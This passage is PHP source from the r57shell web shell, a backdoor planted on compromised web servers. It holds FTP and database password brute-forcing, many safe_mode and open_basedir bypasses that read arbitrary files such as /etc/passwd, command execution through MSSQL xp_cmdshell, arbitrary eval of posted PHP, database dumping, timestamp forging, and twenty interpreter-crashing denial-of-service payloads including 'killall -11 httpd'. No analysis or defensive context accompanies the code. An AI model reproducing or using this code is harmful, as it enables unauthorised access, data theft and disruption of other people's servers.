if(!@ftp_login($connection,$_POST[\'ftp_login\'],$_POST[\'ftp_password\'])) {err(4);}
else 
{
if($_POST[\'cmd\']=="ftp_file_down") {if(chop($_POST[\'loc_file\'])==$dir) {$_POST[\'loc_file\']=$dir.((!$unix)?(\'\\\'):(\'/\')).basename($_POST[\'ftp_file\']);}@ftp_get($connection,$_POST[\'loc_file\'],$_POST[\'ftp_file\'],$_POST[\'mode\']);}
if($_POST[\'cmd\']=="ftp_file_up")   {@ftp_put($connection,$_POST[\'ftp_file\'],$_POST[\'loc_file\'],$_POST[\'mode\']);}
}
}
@ftp_close($connection);
$_POST[\'cmd\'] = "";
}
if(!empty($_POST[\'cmd\']) &&(($_POST[\'cmd\']=="ftp_brute") ||($_POST[\'cmd\']=="db_brute")))
{
if($_POST[\'cmd\']=="ftp_brute"){
list($ftp_server,$ftp_port) = split(":",$_POST[\'ftp_server_port\']);
if(empty($ftp_port)) {$ftp_port = 21;}
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
}else if($_POST[\'cmd\']=="db_brute"){
$connection = 1;
}
if(!$connection) {err(3);$_POST[\'cmd\'] = "";}
else if(($_POST[\'brute_method\']==\'passwd\') &&(!$users=get_users(\'/etc/passwd\'))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.\'_text96\']."</b></div></font></td></tr></table>";$_POST[\'cmd\'] = "";}
else if(($_POST[\'brute_method\']==\'dic\') &&(!$users=get_users($_POST[\'dictionary\']))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\\'t get password list</b></div></font></td></tr></table>";$_POST[\'cmd\'] = "";}
if($_POST[\'cmd\']=="ftp_brute"){@ftp_close($connection);}
}
echo $table_up3;
if (empty($_POST[\'cmd\']) &&!$safe_mode &&!$open_basedir) {$_POST[\'cmd\']=(!$unix)?("dir"):("ls -lia");}
else if(empty($_POST[\'cmd\']) &&($safe_mode ||$open_basedir)){$_POST[\'cmd\']="safe_dir";}
echo $font.$lang[$language.\'_text1\'].": <b>".$_POST[\'cmd\']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
if($safe_mode ||$open_basedir)
{
switch($_POST[\'cmd\'])
{
case \'safe_dir\':
$d=@dir($dir);
if ($d)
{
while (false!==($file=$d->read()))
{
if ($file=="."||$file=="..") continue;
@clearstatcache();
@list ($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime);
if(@is_dir($file)) echo "  <DIR> ";else printf("% 7s ",$size);
}
else{
if(@function_exists(\'posix_getpwuid\')){
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
}else{$owner[\'name\']=$grgid[\'name\']=\'\';}
echo $inode." ";
echo perms(@fileperms($file));
@printf("% 4d % 9s % 9s %7s ",$nlink,$owner[\'name\'],$grgid[\'name\'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
else if(@function_exists(\'glob\'))
{
function eh($errno,$errstr,$errfile,$errline)
{
global $D,$c,$i;
preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/",$errstr,$o);
if($o){$D[$c] = $o[2];$c++;}
}
$error_reporting = @ini_get(\'error_reporting\');
error_reporting(E_WARNING);
@ini_set("display_errors",1);
$root = "/";
if($dir) $root = $dir;
$c = 0;$D = array();
@set_error_handler("eh");
$chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0;$i <strlen($chars);$i++)
{
$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}";
$prevD = $D[count($D)-1];
@glob($path."*");
if($D[count($D)-1] != $prevD)
{
for($j=0;$j <strlen($chars);$j++)
{
$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}";
$prevD2 = $D[count($D)-1];
@glob($path."*");
if($D[count($D)-1] != $prevD2)
{
for($p=0;$p <strlen($chars);$p++)
{
$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
$prevD3 = $D[count($D)-1];
@glob($path."*");
if($D[count($D)-1] != $prevD3)
{
for($r=0;$r <strlen($chars);$r++)
{
$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
@glob($path."*");
}
}
}
}
}
}
}
$D = array_unique($D);
foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
error_reporting($error_reporting);
}
else echo $lang[$language.\'_text29\'];
break;
case \'test1\':
$ci = @curl_init("file://".$_POST[\'test1_file\']);
$cf = @curl_exec($ci);
echo htmlspecialchars($cf);
break;
case \'test2\':
@include($_POST[\'test2_file\']);
break;
case \'test3\':
if(empty($_POST[\'test3_port\'])) {$_POST[\'test3_port\'] = "3306";}
$db = @mysql_connect(\'localhost:\'.$_POST[\'test3_port\'],$_POST[\'test3_ml\'],$_POST[\'test3_mp\']);
if($db)
{
if(@mysql_select_db($_POST[\'test3_md\'],$db))
{
@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
@mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
@mysql_query("LOAD DATA INFILE \"".$_POST[\'test3_file\']."\" INTO TABLE temp_r57_table");
$r = @mysql_query("SELECT * FROM temp_r57_table");
while(($r_sql = @mysql_fetch_array($r))) {echo @htmlspecialchars($r_sql[0])."\r\n";}
@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
}
else echo "[-] ERROR! Can\'t select database";
@mysql_close($db);
}
else echo "[-] ERROR! Can\'t connect to mysql server";
break;
case \'test4\':
if(empty($_POST[\'test4_port\'])) {$_POST[\'test4_port\'] = "1433";}
$db = @mssql_connect(\'localhost,\'.$_POST[\'test4_port\'],$_POST[\'test4_ml\'],$_POST[\'test4_mp\']);
if($db)
{
if(@mssql_select_db($_POST[\'test4_md\'],$db))
{
@mssql_query("drop table r57_temp_table",$db);
@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell \'".$_POST[\'test4_file\']."\'",$db);
$res = mssql_query("select * from r57_temp_table",$db);
while(($row=@mssql_fetch_row($res)))
{
echo htmlspecialchars($row[0])."\r\n";
}
@mssql_query("drop table r57_temp_table",$db);
}
else echo "[-] ERROR! Can\'t select database";
@mssql_close($db);
}
else echo "[-] ERROR! Can\'t connect to MSSQL server";
break;
case \'test5\':
$temp=tempnam($dir,"fname");
if (@file_exists($temp)) @unlink($temp);
$extra = "-C ".$_POST[\'test5_file\']." -X $temp";
@mb_send_mail(NULL,NULL,NULL,NULL,$extra);
$str = moreread($temp);
echo htmlspecialchars($str);
@unlink($temp);
break;
case \'test6\':
$stream = @imap_open(\'/etc/passwd\',"","");
$dir_list = @imap_list($stream,trim($_POST[\'test6_file\']),"*");
for ($i = 0;$i <count($dir_list);$i++) echo htmlspecialchars($dir_list[$i])."\r\n";
@imap_close($stream);
break;
case \'test7\':
$stream = @imap_open($_POST[\'test7_file\'],"","");
$str = @imap_body($stream,1);
echo htmlspecialchars($str);
@imap_close($stream);
break;
case \'test8\':
$temp=@tempnam($_POST[\'test8_file2\'],"copytemp");
$str = readzlib($_POST[\'test8_file1\'],$temp);
echo htmlspecialchars($str);
@unlink($temp);
break;
case \'test9\':
@ini_restore("safe_mode");
@ini_restore("open_basedir");
$str = moreread($_POST[\'test9_file\']);
echo htmlspecialchars($str);
break;
case \'test10\':
@ob_clean();
$error_reporting = @ini_get(\'error_reporting\');
error_reporting(E_ALL ^E_NOTICE);
@ini_set("display_errors",1);
$str=fopen($_POST[\'test10_file\'],"r");
while(!feof($str)){print htmlspecialchars(fgets($str));}
fclose($str);
error_reporting($error_reporting);
break;
case \'test11\':
@ob_clean();
$temp = \'zip://\'.$_POST[\'test11_file\'];
$str = moreread($temp);
echo htmlspecialchars($str);
break;
case \'test12\':
@ob_clean();
$temp = \'compress.bzip2://\'.$_POST[\'test12_file\'];
$str = moreread($temp);
echo htmlspecialchars($str);
break;
case \'test13\':
@error_log($_POST[\'test13_file1\'],3,"php://../../../../../../../../../../../".$_POST[\'test13_file2\']);
echo $lang[$language.\'_text61\'];
break;
case \'test14\':
@session_save_path($_POST[\'test14_file2\']."\0;/tmp");
@session_start();
@$_SESSION[php]=$_POST[\'test14_file1\'];
echo $lang[$language.\'_text61\'];
break;
case \'test15\':
@readfile($_POST[\'test15_file1\'],3,"php://../../../../../../../../../../../".$_POST[\'test15_file2\']);
echo $lang[$language.\'_text61\'];
break;
case \'test16\':
if (fopen(\'srpath://../../../../../../../../../../../\'.$_POST[\'test16_file\'],"a")) echo $lang[$language.\'_text61\'];
break;
case \'test17_1\':
@unlink(\'symlinkread\');
@symlink(\'a/a/a/a/a/a/\',\'dummy\');
@symlink(\'dummy/../../../../../../../../../../../\'.$_POST[\'test17_file\'],\'symlinkread\');
@unlink(\'dummy\');
while (1) 
{
@symlink(\'.\',\'dummy\');
@unlink(\'dummy\');
}
break;
case \'test17_2\':
$str=\'\';
while (strlen($str) <3) {
$temp = \'symlinkread\';
$str = moreread($temp);
if($str){@ob_clean();echo htmlspecialchars($str);}
}
break;
case \'test17_3\':
$dir = $files = array();
if(@version_compare(@phpversion(),"5.0.0")>=0){
while (@count($dir) <3) {
$dir=@scandir(\'symlinkread\');
if (@count($dir) >2) {@ob_clean();@print_r($dir);}
}
}
else {
while (@count($files) <3) {
$dh  = @opendir(\'symlinkread\');
while (false !== ($filename = @readdir($dh))) {
$files[] = $filename;
}
if(@count($files) >2){@ob_clean();@print_r($files);}
}
}
break;
}
}
if((!$safe_mode) &&($_POST[\'cmd\']!="php_eval") &&($_POST[\'cmd\']!="mysql_dump") &&($_POST[\'cmd\']!="db_query") &&($_POST[\'cmd\']!="ftp_brute") &&($_POST[\'cmd\']!="db_brute")){
$cmd_rep = ex($_POST[\'cmd\']);
if(!$unix) {echo @htmlspecialchars(@convert_cyr_string($cmd_rep,\'d\',\'w\'))."\n";}
else {echo @htmlspecialchars($cmd_rep)."\n";}}
switch($_POST[\'cmd\'])
{
case \'dos1\':
function a() {a();}a();
break;
case \'dos2\':
@pack("d4294967297",2);
break;
case \'dos3\':
$a = "a";@unserialize(@str_replace(\'1\',2147483647,@serialize($a)));
break;
case \'dos4\':
$t = array(1);while (1) {$a[] = &$t;};
break;
case \'dos5\':
@dl("sqlite.so");$db = new SqliteDatabase("foo");
break;
case \'dos6\':
preg_match(\'/(.(?!b))*/\',@str_repeat("a",10000));
break;
case \'dos7\':
@str_replace("A",str_repeat("B",65535),str_repeat("A",65538));
break;
case \'dos8\':
@shell_exec("killall -11 httpd");
break;
case \'dos9\':
function cx(){@tempnam("/www/","../../../../../../var/tmp/cx");cx();}cx();
break;
case \'dos10\':
$a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
break;
case \'dos11\':
@array_fill(1,123456789,"Infigo-IS");
break;
case \'dos12\':
@substr_compare("A","A",12345678);
break;
case \'dos13\':
@unserialize("a:2147483649:{");
break;
case \'dos14\':
$Data = @str_ireplace("\n","<br>",$Data);
break;
case \'dos15\':
function toUTF($x) {return chr(($x >>6) +192) .chr(($x &63) +128);}
$str1 = "";for($i=0;$i <64;$i++){$str1 .= toUTF(977);}
@htmlentities($str1,ENT_NOQUOTES,"UTF-8");
break;
case \'dos16\':
$r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r,$e);
for ($i=0;$i<1000;$i++) $arr[$i]=array(array(""));
unset($arr[600]);@zip_entry_read($e,-1);unset($arr[601]);
break;
case \'dos17\':
$z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
$y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
$x = "AQ                                                                        ";
unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
break;
case \'dos18\':
$MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY,0600);
if (!@msg_send ($msg_id,1,\'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\',false,true,$msg_err)) 
echo "Msg not sent because $msg_err\n";
if (@msg_receive ($msg_id,1,$msg_type,0xffffffff,$_SESSION,false,0,$msg_error)) {
echo "$msg\n";
}else {echo "Received $msg_error fetching message\n";break;}
@msg_remove_queue ($msg_id);
break;
case \'dos19\':
$url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd";@fopen($url,"r");
break;
case \'dos20\':
$hashtable = str_repeat("A",39);
$hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
$str = \'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}\';
for ($i=0;$i<65535;$i++) {$str .= \'i:0;R:2;\';}
$str .= \'s:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"\'.$hashtable.\'";i:0;R:3;\';
@unserialize($str);
break;
}
if ($_POST[\'cmd\']=="php_eval"){
$eval = @str_replace("<?","",$_POST[\'php_eval\']);
$eval = @str_replace("?>","",$eval);
eval($eval);}
if ($_POST[\'cmd\']=="ftp_brute")
{
$suc = 0;
if($_POST[\'brute_method\']==\'passwd\'){
foreach($users as $user)
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$user,$user)) {echo "[+] $user:$user - success\r\n";$suc++;}
else if(isset($_POST[\'reverse\'])) {if(@ftp_login($connection,$user,strrev($user))) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}}
@ftp_close($connection);
}
}else if(($_POST[\'brute_method\']==\'dic\') &&isset($_POST[\'ftp_login\'])){
foreach($users as $user)
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$_POST[\'ftp_login\'],$user)) {echo "[+] ".$_POST[\'ftp_login\'].":$user - success\r\n";$suc++;}
@ftp_close($connection);
}
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST[\'reverse\']) &&($_POST[\'brute_method\']==\'passwd\')) {$count *= 2;}
echo $lang[$language.\'_text97\'].$count."\r\n";
echo $lang[$language.\'_text98\'].$suc."\r\n";
}
if ($_POST[\'cmd\']=="db_brute")
{
$suc = 0;
if($_POST[\'brute_method\']==\'passwd\'){
foreach($users as $user)
{
$sql = new my_sql();
$sql->db   = $_POST[\'db\'];
$sql->host = $_POST[\'db_server\'];
$sql->port = $_POST[\'db_port\'];
$sql->user = $user;
$sql->pass = $user;
if($sql->connect()) {echo "[+] $user:$user - success\r\n";$suc++;}
}
if(isset($_POST[\'reverse\']))
{
foreach($users as $user)
{
$sql = new my_sql();
$sql->db   = $_POST[\'db\'];
$sql->host = $_POST[\'db_server\'];
$sql->port = $_POST[\'db_port\'];
$sql->user = $user;
$sql->pass = strrev($user);
if($sql->connect()) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}
}
}
}else if(($_POST[\'brute_method\']==\'dic\') &&isset($_POST[\'mysql_l\'])){
foreach($users as $user)
{
$sql = new my_sql();
$sql->db   = $_POST[\'db\'];
$sql->host = $_POST[\'db_server\'];
$sql->port = $_POST[\'db_port\'];
$sql->user = $_POST[\'mysql_l\'];
$sql->pass = $user;
if($sql->connect()) {echo "[+] ".$_POST[\'mysql_l\'].":$user - success\r\n";$suc++;}
}
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST[\'reverse\']) &&($_POST[\'brute_method\']==\'passwd\')) {$count *= 2;}
echo $lang[$language.\'_text97\'].$count."\r\n";
echo $lang[$language.\'_text98\'].$suc."\r\n";
}
if ($_POST[\'cmd\']=="mysql_dump")
{
if(isset($_POST[\'dif\'])) {$fp = @fopen($_POST[\'dif_name\'],"w");}
$sql = new my_sql();
$sql->db   = $_POST[\'db\'];
$sql->host = $_POST[\'db_server\'];
$sql->port = $_POST[\'db_port\'];
$sql->user = $_POST[\'mysql_l\'];
$sql->pass = $_POST[\'mysql_p\'];
$sql->base = $_POST[\'mysql_db\'];
if(!$sql->connect()) {echo "[-] ERROR! Can\'t connect to SQL server";}
else if(!$sql->select_db()) {echo "[-] ERROR! Can\'t select database";}
else if(!$sql->dump($_POST[\'mysql_tbl\'])) {echo "[-] ERROR! Can\'t create dump";}
else {
if(empty($_POST[\'dif\'])) {foreach($sql->dump as $v) echo $v."\r\n";}
else if($fp ||@function_exists(\'file_put_contents\')){foreach($sql->dump as $v){@fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST[\'dif_name\'],$v."\r\n");}}
else {echo "[-] ERROR! Can\'t write in dump file";}
}
}
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title,$id)
{
return \'<a style="cursor: pointer;" onClick="change_divst(\\'\'.$id.\'\\');">\'.$title.\'</a>\';
}
function div($id)
{
if(isset($_COOKIE[$id]) &&($_COOKIE[$id]==0)) return \'<div id="\'.$id.\'" style="display: none;">\';
$divid=array(\'id5\',\'id6\',\'id8\',\'id9\',\'id10\',\'id11\',\'id16\',\'id24\',\'id25\',\'id26\',\'id27\',\'id28\',\'id29\',\'id33\',\'id34\',\'id35\',\'id37\',\'id38\');
if(empty($_COOKIE[$id]) &&@in_array($id,$divid)) return \'<div id="\'.$id.\'" style="display: none;">\';
return \'<div id="\'.$id.\'">\';
}
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.\'_text2\'],\'id1\').$table_up2.div(\'id1\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text3\'].$arrow."</b>",in(\'text\',\'cmd\',85,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",in(\'text\',\'dir\',85,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.\'_text28\'],\'id2\').$table_up2.div(\'id2\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",in(\'text\',\'dir\',85,$dir).in(\'hidden\',\'cmd\',0,\'safe_dir\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt6\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.\'_text42\'],\'id3\').$table_up2.div(\'id3\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text43\'].$arrow."</b>",in(\'text\',\'e_name\',85,$dir).in(\'hidden\',\'cmd\',0,\'edit_file\').in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt11\']));
echo $te.\'</div>\'.$table_end1.$fe;
if($safe_mode ||$open_basedir){
echo $fs.$table_up1.div_title($lang[$language.\'_text57\'],\'id4\').$table_up2.div(\'id4\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text58\'].$arrow."</b>",in(\'text\',\'mk_name\',54,(!empty($_POST[\'mk_name\'])?($_POST[\'mk_name\']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.\'_text65\']."</option><option value=delete>".$lang[$language.\'_text66\']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.\'_text59\']."</option><option value=dir>".$lang[$language.\'_text60\']."</option></select>".in(\'hidden\',\'cmd\',0,\'mk\').in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt13\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if($unix &&@function_exists(\'touch\')){
echo $fs.$table_up1.div_title($lang[$language.\'_text128\'],\'id5\').$table_up2.div(\'id5\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text43\'].$arrow."</b>",in(\'text\',\'file_name\',40,(!empty($_POST[\'file_name\'])?($_POST[\'file_name\']):($dir."/r57shell.php")))
.ws(4)."<b>".$lang[$language.\'_text26\'].ws(2).$lang[$language.\'_text59\'].$arrow."</b>"
.ws(2).in(\'text\',\'file_name_r\',40,(!empty($_POST[\'file_name_r\'])?($_POST[\'file_name_r\']):(""))));
echo sr(15,"<b> or set  Day".$arrow."</b>",
\'
<select name="day" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>\'
.ws(4)."<b>Month".$arrow."</b>"
.\'
<select name="month" size="1">
<option value="January">January</option>
<option value="February">February</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>\'
.ws(4)."<b>Year".$arrow."</b>"
.\'
<select name="year" size="1">
<option value="1998">1998</option>
<option value="1999">1999</option>
<option value="2000">2000</option>
<option value="2001">2001</option>
<option value="2002">2002</option>
<option value="2003">2003</option>
<option value="2004">2004</option>
<option value="2005">2005</option>
<option value="2006">2006</option>
<option value="2006">2007</option>
<option value="2006">2008</option>
<option value="2006">2009</option>
<option value="2006">2010</option>
</select>\'
.ws(4)."<b>Hour".$arrow."</b>"
.\'
<select name="chasi" size="1">
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
</select>\'
.ws(4)."<b>Minute".$arrow."</b>"
.\'
<select name="minutes" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>\'
.ws(4)."<b>Second".$arrow."</b>"
.\'
<select name="second" size="1">
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
<option value="32">32</option>
<option value="33">33</option>
<option value="34">34</option>
<option value="35">35</option>
<option value="36">36</option>
<option value="37">37</option>
<option value="38">38</option>
<option value="39">39</option>
<option value="40">40</option>
<option value="41">41</option>
<option value="42">42</option>
<option value="43">43</option>
<option value="44">44</option>
<option value="45">45</option>
<option value="46">46</option>
<option value="47">47</option>
<option value="48">48</option>
<option value="49">49</option>
<option value="50">50</option>
<option value="51">51</option>
<option value="52">52</option>
<option value="53">53</option>
<option value="54">54</option>
<option value="55">55</option>
<option value="56">56</option>
<option value="57">57</option>
<option value="58">58</option>
<option value="59">59</option>
</select>\'
.in(\'hidden\',\'cmd\',0,\'touch\')
.in(\'hidden\',\'dir\',0,$dir)
.ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
$select=\'\';
if(@function_exists(\'chmod\')){$select .= "<option value=mod>CHMOD</option>";}
if(@function_exists(\'chown\')){$select .= "<option value=own>CHOWN</option>";}
if(@function_exists(\'chgrp\')){$select .= "<option value=grp>CHGRP</option>";}
if($unix &&$select){
echo $fs.$table_up1.div_title($lang[$language.\'_text67\'],\'id6\').$table_up2.div(\'id6\').$ts;
echo @sr(15,"<b>".$lang[$language.\'_text43\'].$arrow."</b>",in(\'text\',\'param1\',55,(($_POST[\'param1\'])?($_POST[\'param1\']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.\'_text68\'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in(\'text\',\'param2 title="\'.$lang[$language.\'_text71\'].\'"\',10,(($_POST[\'param2\'])?($_POST[\'param2\']):("0777"))).in(\'hidden\',\'cmd\',0,\'ch_\').in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(!$safe_mode){
$aliases2 = \'\';
foreach ($aliases as $alias_name=>$alias_cmd)
{
$aliases2 .= "<option>$alias_name</option>";
}
echo $fs.$table_up1.div_title($lang[$language.\'_text7\'],\'id7\').$table_up2.div(\'id7\').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.\'_text8\'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.\'_text54\'],\'id8\').$table_up2.div(\'id8\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text52\'].$arrow."</b>",in(\'text\',\'s_text\',85,\'text\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt12\']));
echo sr(15,"<b>".$lang[$language.\'_text53\'].$arrow."</b>",in(\'text\',\'s_dir\',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.\'_text55\'].$arrow."</b>",in(\'checkbox\',\'m id=m\',0,\'1\').in(\'text\',\'s_mask\',82,\'.txt;.php\')."* ( .txt;.php;.htm )".in(\'hidden\',\'cmd\',0,\'search_text\').in(\'hidden\',\'dir\',0,$dir));
echo $te.\'</div>\'.$table_end1.$fe;
if(!$safe_mode &&$unix){
echo $fs.$table_up1.div_title($lang[$language.\'_text76\'],\'id9\').$table_up2.div(\'id9\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text72\'].$arrow."</b>",in(\'text\',\'s_text\',85,\'text\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt12\']));
echo sr(15,"<b>".$lang[$language.\'_text73\'].$arrow."</b>",in(\'text\',\'s_dir\',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.\'_text74\'].$arrow."</b>",in(\'text\',\'s_mask\',85,\'*.[hc]\').ws(1).$lang[$language.\'_text75\'].in(\'hidden\',\'cmd\',0,\'find_text\').in(\'hidden\',\'dir\',0,$dir));
echo $te.\'</div>\'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.\'_text32\'],\'id10\').$table_up2.$font;
echo "<div align=center>".div(\'id10\')."<textarea name=php_eval cols=100 rows=10>";
echo (!empty($_POST[\'php_eval\'])?($_POST[\'php_eval\']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
echo "</textarea>";
